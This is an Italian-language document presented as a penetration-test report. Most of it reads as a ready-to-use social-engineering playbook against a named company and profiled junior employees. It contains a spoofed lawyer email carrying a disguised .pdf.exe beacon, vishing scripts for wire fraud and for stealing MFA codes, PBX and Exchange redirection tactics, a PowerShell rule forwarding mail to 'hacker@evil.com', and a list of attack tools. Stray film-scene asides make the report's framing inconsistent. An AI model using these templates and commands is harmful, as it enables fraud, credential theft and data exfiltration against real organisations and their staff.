REPORT

Vulnerability Assessement

Analista: Bkm4ge

Data: 09.01.26

1. Introduzione

Il tipo di analisi fatta su richiesta del cliente Gamma Impianti e Tecnologia SRL riguarda la possibilità di un possibile exploit di ingegneria sociale. È stata condotta una campagna di fishing che aveva l'obiettivo di:

- Rubare informazioni sensibili del management (password, dati finanziari)
- Valutare la protezione del sistema in tema di cartelle che riguardano i singoli contratti aziendali con i dipendenti
- BEF con fornitori, clienti e altri Stakeholders (subappalti)

2. Relazione per CFO

Conducendo questa campagna d'attacco su di un'azienda che fattura 46 Mln l'anno, è possibile stimare una perdita pari al 40 – 45% del volume di fatturato aziendale, poiché sappiamo che con dati finanziari, interdipendenze aziendali, un malintenzionato potrebbe:

- Direzionare bonifici su conti fantoccio
- Vendere i dati dei clienti per spionaggio industriale
- Vendere dati sensibili sul dark web con la possibilità di exploit da parte di altri malintenzionati, come fosse un'infezione
- Esporre legalmente l'azienda ad azioni legali da parte di chi ruota intorno alla sfera aziendale

3. Rischi generali

Come già citato; il successo di un attacco di questo genere può generare un effetto a catena devastante per l'ecosistema aziendale, le conseguenze legali e non solo possono ripercuotersi sull'azienda da parte di Enti Governativi; Stakeholders i cui dati sono stati esposti pubblicamente; dipendenti.

Nel caso di specie, un attacco di ingegneria sociale come quello che è stato proposto, può esporre a rischi critici, del più alto livello possibile, a catena. Seppur vengono utilizzati strumenti hardware e software più sofisticati per mitigare i rischi ed isolare le

minacce, non esistono strumenti altrettanto forti per poter resistere alla paura, alla stanchezza, all'urgenza.

Il consiglio generale, per un attacco di questa portata, è quello certamente di addestrare e formare il proprio personale a temi della Cyber Awareness, ora come non mai.

4. Metodologia

Per poter operare e sferrare un attacco di questa portata, il team si è avvalso di strumenti di Intelligenza Artificale, combinato a tool all'avanguardia.

a. Information Gathering

L'attacco è stato generato a partire da un insider threat ben informato sulle logiche sociali aziendali in un arco di 45 giorni.

Con le informazioni a nostra disposizione, abbiamo individuato delle falle di tipo umano nella divisione del management, trovando terreno fertile per il nostro attacco, individuando 4 target umani:

- AP: Divisione HR, Junior Payroll; solitamente gestisce lei le relazioni con ex dipendenti e dipendenti per spettanze di fine rapporto non riconosciute o maggiorazioni.
- PC: figura Junior Amministrazione contabile; si occupa della fatturazione e gestisce i rapporti con subappalti e fornitori
- EC: figura Junior Amministrazione contabile; si occupa della fatturazione e gestisce i rapporti con subappalti e fornitori. Non è rilevante in sé, ma la forte interdipendenza extra professionale con PC lo rende perfetto per innescare qualche meccanismo fraudolento
- CS: capo dispotico della Supply Chain. Probabilmente l'anello più debole di tutti, poiché il suo lavoro non è fatto di vera competenza tecnica e non conosce proprio alla perfezione le dipendenze dell'azienda.

Quindi oltre ai profili professionali dei target, vengono tracciati anche i loro profili umani, che sono il motivo per cui, operanti in una struttura aziendale fumosa, compiranno leggerezze in grado di permetterti di sferrare un violento attacco alla struttura aziendale.

L'idea della Telco con supply chain opaca ("amici degli amici") è un terreno di caccia perfetto. Il caos amministrativo è il miglior amico dell'hacker. L'obiettivo (trasparenza salariale + soldi) è realistico per un dipendente rancoroso.

b. Schema di attacco

In sostanza, l'attacco si svolgerà in questo modo:

Target 1: AP (Junior Payroll - La Cinica)

Il primo attacco sarà condotto fingendoci l'avvocato di un Dipendente di nome SS che lavora al cantiere di Ancona e sappiamo per certo che non è stato pagato.

Il metodo è quello di inviare una Email PEC spoofata (o email interna compromessa) con oggetto: *"ATTO DI MESSA IN MORA - SS / [GAMMA IMPIANTI] - URGENTE*

Poiché questo genere di email sono all'ordine del giorno, sarà una delle tante.

L'idea è quella di allegare un file zip protetto da password. All'interno c'è un ***Beacon*****.**

Target 2 & 3: PC & EC (I "Billing Bros" - Gli Arroganti)

Tutti i giorni si trovano a comunicare con dirigenti di appalti poco alfabetizzati che mandano documenti scritti male; spesso questi documenti diventano una base per meme; è il loro turno di diventare meme: verrà inviato un PDF scritto male per farli ridere (base per meme), chiamate incrociate, distrazione tramite superbia.

- **L'Esecuzione:** Mandiamo una fattura orribile, sgranata, Comic Sans. PC ride. EC ride.
- **Il Trigger:** PC chiama per insultare il subappalto (noi). Noi recitiamo la parte degli incompetenti totali: *"Eh guardi dottore, il mio gestionale è vecchio, se vuole le mando il link al cloud dove ho caricato l'XML originale così fa prima"*.
- **Il Click:** Loro, pur di non perdere tempo a decifrare il PDF orrendo e sentendosi superiori, cliccano sul link per scaricare il "formato giusto". Quel link è una pagina di phishing che clona il loro portale di login aziendale (attacco *AiTM - Adversary in The Middle*) oppure scarica un payload che sfrutta una vulnerabilità di Adobe Reader non patchata.

Il piano temporale di un nuovo attacco dopo l'apertura della mail con il payload infetto culminaneranno il sabato mattina della settimana successiva

Questa è la parte che preferisco. Attaccare sul telefono personale (Smishing o chiamata) nel weekend è devastante.

- **Dialogo suggerito:** *"Pronto EC? Scusa se ti chiamo sul privato, sono [Nome Finto], il capo cantiere. Ho qui PC che sta piangendo perché ha bloccato il sistema di fatturazione. Mi ha detto che tu sei l'unico genio che sa come sbloccare il server da remoto. Ti prego, salvaci o lunedì non parte nessuno."* (Leva sull'ego + Urgenza + "L'amico in difficoltà").

Target 4: CS (Il Villain - Il Manager Dispotico) e la CFO

- **La tua idea:** Chiamata per "rimediare a una stupidaggine", bonifico urgente

In sostanza la metodologia utilizzata è la seguente:

- **Phishing via PEC/Zip** (Realistico per HR).
- **Social Engineering basato sull'Ego** (Perfetto per Billing).
- **AI Vishing / Deepfake** (Moderno e letale per il Management)

5. Prompt per email e chiamate di Social Engineering

Per il corpo della mail da inviare alla divisione HR, la strategia è la seguente:

Far sì che AP, la cinica, scarichi ed esegua il payload. **Il contesto:** Lei riceve decine di mail di lamentela. Dobbiamo distinguerci. Useremo una **PEC (Posta Elettronica Certificata)** spoofata o un dominio molto simile (es. studiolegale-associati.it invece di uno reale). **La leva psicologica:** Rabbia e Superiorità. Lei leggerà le richieste "assurde" dell'avvocato e vorrà aprire i documenti per smontarli pezzo per pezzo e deridere l'ex dipendente.

“OGGETTO: URGENTE: ATTO DI MESSA IN MORA E DIFFIDA AD ADEMPIERE - EX DIP. SALAH SHAKUR / [GAMMA] **PRIORITÀ:** ALTA 🔴

Gentile Dott.ssa AP Ufficio Amministrazione del Personale,

Scrivo in nome e per conto del mio assistito, Sig. Salah Shakur, in riferimento al rapporto di lavoro intercorso con la Vostra società e terminato in data 31/12/2025.

Dalla disamina della documentazione in nostro possesso, emergono gravi incongruenze nel calcolo delle spettanze di fine rapporto (TFR), nonché la mancata corresponsione di n. 142 ore di straordinario e dei premi produzione relativi all'ultimo biennio (Cantiere Ancona), per un totale stimato di **€ 18.450,00** lordi.

Tali omissioni configurano una palese violazione dell'art. 2120 c.c. e del CCNL di categoria.

Al fine di evitare l'immediato deposito del ricorso presso il Tribunale del Lavoro competente, Vi invitiamo a prendere visione della **documentazione probatoria allegata** (registri presenze, scambi email con i supervisori e conteggi ricalcolati).

Nota di Sicurezza: In ottemperanza alla normativa GDPR sulla protezione dei dati sensibili, l'archivio contenente le prove è protetto da cifratura.

Password di sblocco archivio: SHAKUR2024!

In attesa di un Vostro riscontro entro e non oltre 48 ore dal ricevimento della presente, porgo distinti saluti."

Avv. Gianmarco De Santis *Studio Legale De Santis & Partners Foro di Milano*

📎 **ALLEGATO:** Documentazione_Probatoria_Ricorso_Shakur.zip

Nota tecnica per la scena: Quando AP scarica lo ZIP e inserisce la password, vedrà un file che si chiama Conteggi_Ricalcolati_TFR.pdf.exe (ma lei, avendo le estensioni file nascoste di default su Windows, vedrà solo .pdf). L'icona è quella rossa di Acrobat Reader. Doppio click. Si apre un *vero* PDF (un'esca) con dei numeri a caso, ma in background la *beacon* si connette al server di comando e controllo (C2). Noi siamo dentro.

Finta chiamata a CS:

La CFO che viaggia per cantieri è il **"Re Nudo"**. È lo scenario classico della *CEO Fraud* (o BEC - Business Email Compromise), ma adattato al mondo Telco.

Se il capo non c'è, il topo balla. E se il topo (CS) è un codardo, basta l'ombra di un gatto grosso (TIM) per farlo scappare nella direzione che vogliamo noi.

Ecco come riscriviamo la scena di CS con questi nuovi parametri. È molto più solida: sfruttiamo l'autorità del CLIENTE (che paga gli stipendi a tutti) e l'irreperibilità del CAPO

"La CFO è in visita ispettiva in un cantiere difficile (es. Appennino, copertura scarsa). CS è in ufficio, si sente il padrone. **L'Attaccante:** Si finge un **Area Manager di TIM** (o

FiberCop/OpenFiber, a seconda del target, ma stiamo su TIM come hai detto). Tono aggressivo, milanese operativo, uno che non ha tempo da perdere.

(Il telefono fisso di CS squilla. Numero in chiaro, sembra provenire da un distretto TIM)

CS Pronto, Amministrazione.

ATTACCANTE (V.O.) Dottor [Cognome CS]? Sono l'Ingegner Valli, Area Manager Network Nord-Est di TIM. Ho qui davanti il SAL (Stato Avanzamento Lavori) del cantiere di Rovigo. Mi spiega perché i vostri tecnici sono fermi da tre ore con la fibra spenta?

CS (Colto alla sprovvista, tono servile) Ingegner Valli, buongiorno. Non... non mi risulta nessun fermo. Controllo subito con i tecnici...

ATTACCANTE (V.O.) Non c'è niente da controllare! I tecnici mi dicono che manca la validazione amministrativa per il noleggio della piattaforma aerea speciale. La ditta di noleggio non scarica il mezzo se non vede il bonifico istantaneo. Voi avete un SLA (Service Level Agreement) di 4 ore. Ne sono passate tre. Tra 60 minuti scattano le penali contrattuali. Parliamo di 15.000 euro l'ora più danni d'immagine. Li mette lei di tasca sua?

CS (Panico) No, guardi, deve esserci un errore. La CFO...

ATTACCANTE (V.O.) La sua CFO è irraggiungibile! L'ho chiamata dieci volte. Mi ha risposto a malapena cinque minuti fa, la linea cadeva in continuazione. Era furiosa. Mi ha detto: *"Chiami CS in sede e si faccia sbloccare la cassa per le emergenze, io sono in mezzo al nulla"*. Le sto girando ora su WhatsApp lo screenshot della conversazione che ho avuto con lei, così vede che non stiamo giocando.

(Ping sul cellulare personale di CS. L'attaccante ha il numero perché "siamo amici del capo" o l'ha preso dalla firma della mail. CS apre WhatsApp: vede una chat falsificata (facilissima da creare) dove la foto profilo della CFO scrive: "Valli, scusa, qui non prende. Chiama CS e digli di pagare SUBITO il noleggio. È un ordine. Sistemo io lunedì.")

CS (Legge il messaggio. La paura della penale TIM + l'ordine della CFO è letale) Ho visto, Ingegnere. Mi scusi, non sapevo. Procedo immediatamente. Mi dia l'IBAN della ditta di noleggio.

ATTACCANTE (V.O.) Le ho mandato la proforma via mail. È la "Nolo-Express Srl" (società mulo dell'hacker). Faccia un istantaneo, [Cognome CS]. Voglio vedere la ricevuta entro 4 minuti o chiamo il Direttore Generale.

CS Sì, subito. Non si preoccupi.

(CS esegue il bonifico credendo di salvare l'appalto con TIM).”

Attacco a PC e EC:

Finta chiamata

Titolo: "Hangover e MFA"

Qui soddisfiamo la tua richiesta sul **PC ed EC**. Questa scena serve a prepararci il terreno: ci servono le credenziali di accesso o il token MFA (Multi-Factor Authentication) per entrare nei sistemi e modificare i PDF o preparare il terreno per l'attacco finale.

Contesto: Sabato mattina, ore 11:30. PC ed EC sono probabilmente a letto o al bar, ancora storditi dalla serata del venerdì. **L'Attaccante:** Qui non siamo l'Area Manager aggressivo. Qui siamo "L'Amico del Capo" o un tecnico IT "scazzato" che lavora nel weekend. Usiamo un tono confidenziale, *Social Engineering* basato sulla compassione e sull'urgenza condivisa.

(Telefono personale di EC squilla. Numero sconosciuto ma con prefisso locale).

EC (Voce impastata) Pronto?

ATTACCANTE Ué EC, scusa il disturbo di sabato. Sono Marco, del supporto IT esterno, quello che lavora col Dottore [Nome del Capo]. Senti, abbiamo un casino. Il capo mi ha chiamato bestemmiando perché non riesce ad accedere al portale fornitori e dice che PC ha cambiato le password venerdì prima di uscire senza dirlo a nessuno.

EC (Ride) Classico di PC. Quel cretino sarà ancora ubriaco. Che vuoi da me?

ATTACCANTE Ho provato a chiamare lui ma ha il telefono spento. Senti, il Capo è in viaggio (verità che rafforza la menzogna) e deve approvare delle robe urgentissime dal tablet. Se non entra, lunedì ci scuoia vivi tutti quanti. Dato che tu sei l'unico che ne capisce qualcosa lì dentro (lusinga all'ego), non è che hai il codice di accesso secondario o puoi approvarmi la notifica push? Sto provando a fare il reset della password dell'account "Admin_Billing" ma mi chiede la conferma sul tuo cellulare perché PC ha messo il tuo numero come recupero.

EC Ah, sì? Ha messo il mio numero? Grande. Aspetta...

(L'attaccante in quel momento lancia la richiesta di login reale sul server aziendale. Sul telefono di EC arriva la notifica dell'Authenticator o l'SMS di Microsoft/Google: "Codice verifica: 489201")

ATTACCANTE Ti è arrivato un codice o una notifica? Clicca "Approva" o dimmi i numeri, così il Capo entra, smette di rompere le scatole a me e a te, e torniamo a dormire. Fammela sta cortesia, che ti offro una birra lunedì.

EC Sì, arrivato. È 489201. Ma digli a PC che è un coglione lunedì eh…

ATTACCANTE Glielo diciamo insieme. Grazie frate, ti ho salvato il weekend. Ciao”

1. Come evitare lo smascheramento

Poiché il management è fumoso ma assolutistico, chiamare il capo che spesso è fuori potrebbe far saltare tutto, quindi l’idea è di creare qualcosa che sia in grado di deviare una chiamata, metterci in mezzo e indirizzare tutto il traffico verso di noi.

La Bolla Telefonica: Hacking del VoIP (PBX)

Oggi quasi nessuna azienda ha le vecchie linee telefoniche in rame. Usano il **VoIP** (Voice over IP). I telefoni sulle scrivanie sono computer. Il centralino è un server (spesso in cloud o in sala server).

Lo Strumento: Accesso amministrativo al **PBX Aziendale** (es. 3CX, Asterisk, Cisco Unified CM). **Come l'hai ottenuto:**

- Hai trovato la password di default (es. admin/admin o admin/password123) in uno dei PDF mal scritti lasciati in giro dal reparto IT scadente, oppure l'hai estratta dal PC di EC il sabato mattina.

1. **L'Attacco: "Dial Plan Manipulation"** Tu entri nel pannello di controllo del centralino e modifichi il **Piano di Numerazione (Dial Plan)** specifico per l'interno di CS.

- **L'azione tecnica:** Imposti una *Translation Rule* (Regola di traduzione).
    - *Condizione:* Se l'interno di CS (es. 204) chiama l'interno della CFO (es. 100) o il suo cellulare aziendale…
    - *Azione:* …devia la chiamata al TUO numero VoIP (o a un numero "Burner").
- **Risultato:** CS compone il numero del capo. Sul display del suo telefono appare "Chiamata in corso: CFO". Ma a rispondere sei tu (o la tua segreteria fake, o il silenzio). La CFO non riceverà mai quella chiamata.

2. La Bolla Email: Le "Transport Rules" (Regole di Trasporto)

Per le email, non devi "hackerare la password della CFO". Devi controllare il **flusso** della posta.

Lo Strumento: Accesso alla console di amministrazione di **Microsoft 365 / Exchange** (o del server di posta aziendale). **Come l'hai ottenuto:** *Privilege Escalation* (innalzamento privilegi) dopo essere entrato nel sistema di AP o PC.

L'Attacco: "Man-in-the-Mailbox" Crei una **Transport Rule** (Regola di trasporto) invisibile all'utente. Questa è un'arma potentissima e silenziosa.

- **Configurazione della Regola:**
    - *IF (Se):* Il mittente è "CS" **AND** il destinatario è "CFO".
    - *DO (Fai):*
        - **Silently Drop:** Cancella l'email senza notificare il mittente (CS pensa che sia partita).
        - **BCC to Attacker:** Invia una copia nascosta alla tua casella mail.
- **Il Contro-Movimento (Reply Injection):** Tu ricevi la copia della mail di CS. Rispondi tu, fingendoti la CFO (usando una tecnica chiamata *Email Spoofing* o semplicemente modificando il nome visualizzato da un dominio simile), dicendo: *"CS, ho ricevuto. Procedi come dice l'Area Manager TIM. Non ho tempo per chiamarti."*

6.Strumenti utilizzati

1. Preparazione e Infrastruttura (La "Mise en place")

Prima ancora di toccare la tastiera per attaccare, ho bisogno di un'infrastruttura solida e anonima.

- **Server C2 (Command & Control):** Il cervello dell'operazione.

    - *Nome Tool:* **Cobalt Strike** (Lo standard industriale. Costoso, professionale, letale).
    - *Uso:* Gestisce le "beacon" (i virus) installati sui computer delle vittime. Da qui vedo chi è online e lancio comandi.
- **Domini "Typosquatted":**
    - *Provider:* **Njalla** (Registrar anonimo) o Namecheap.
    - *Uso:* Comprare domini simili a quelli reali (es. `studiolegale-desantis.com` invece di `.it`, oppure `teleconitalia.it`).
- **Gestione Identità:**
    - *Tool:* **Maltego**.
    - *Uso:* Per visualizzare l'organigramma aziendale, le relazioni tra i dipendenti (chi è amico di chi) e trovare le mail di AP, PC, EC e CS. Visivamente è molto cinematografico (grafi e nodi).

2. Attacco a AP (Junior Payroll) - L'Ingresso

- **Creazione del Payload (Il virus):**
    - *Tool:* **Metasploit Framework** o **Veil-Evasion**.
    - *Uso:* Creare l'eseguibile `.exe` nascosto che AP crederà essere un PDF.
- **Offuscamento:**
    - *Tecnica:* **RLO (Right-to-Left Override)**.
    - *Uso:* Trucco Unicode che fa leggere al computer il nome del file al contrario. Il file si chiama `cod.exe` ma l'utente legge `exe.doc`.
- **Invio PEC Spoofata:**
    - *Tool:* **Swaks** (Swiss Army Knife for SMTP).
    - *Uso:* Un tool da riga di comando per inviare mail falsificando (spoofing) il mittente in modo chirurgico, agganciandosi a server SMTP vulnerabili o configurati appositamente.

3. Attacco a PC/EC (Billing) - Il Furto di Identità

- **Bypass MFA (Autenticazione a due fattori):**
    - *Tool Reale:* **Evilginx2**.
    - *Uso:* Questo è il tool *fondamentale* per la scena del sabato mattina. Crea una pagina di login identica a quella di Office 365/Google. Quando EC inserisce il codice OTP, Evilginx lo intercetta e ruba il **Session Cookie**.
    - *Risultato:* L'hacker entra nel account senza bisogno di password, bypassando la protezione.

4. Attacco a CS (Il Villain) - La "Bolla"

Qui usiamo strumenti amministrativi legittimi usati in modo malevolo ("Living off the Land").

- **Manipolazione Email (Transport Rules):**
  - *Strumento:* **Exchange Online PowerShell Module** o **Exchange Admin Center**.
  - *Comando:* `New-TransportRule -Name "Block_CFO_Outbound" -From "CS@azienda.it" -To "CFO@azienda.it" -RedirectMessageTo "hacker@evil.com"`
  - *Uso:* Crea la regola che devia le mail. Nel film puoi mostrare una shell blu (PowerShell) con questo comando.
- **Manipolazione Telefonica (VoIP):**
  - *Strumento:* Interfaccia Web del **PBX** (es. **3CX** o **Asterisk**).
  - *Uso:* Modifica del "Call Forwarding" o delle "Outbound Routes".
- **Spoofing Telefonico (Per chiamare CS fingendosi Area Manager TIM):**
  - *Tool:* **SpoofCard** (app commerciale) o un **SIP Trunk** configurato con un softphone come **Zoiper**.
  - *Uso:* Permette di chiamare CS facendo apparire sul suo display il numero reale di TIM o di un ufficio di Milano.
- **Voce Finta (Opzionale, per l'Area Manager):**
  - *Tool:* **Clownfish Voice Changer** (base) o **RVC (Retrieval-based Voice Conversion)** per qualcosa di più sofisticato in tempo reale.

5. Il Colpo Finale (Modifica Dati)

- **Modifica PDF/Distinte:**
  - *Tool:* **Adobe Acrobat Pro** (banale ma efficace) o **QPDF** (se vuoi farlo da riga di comando per essere più "hacker").
  - *Azione:* Sostituzione dell'IBAN sulle distinte di pagamento.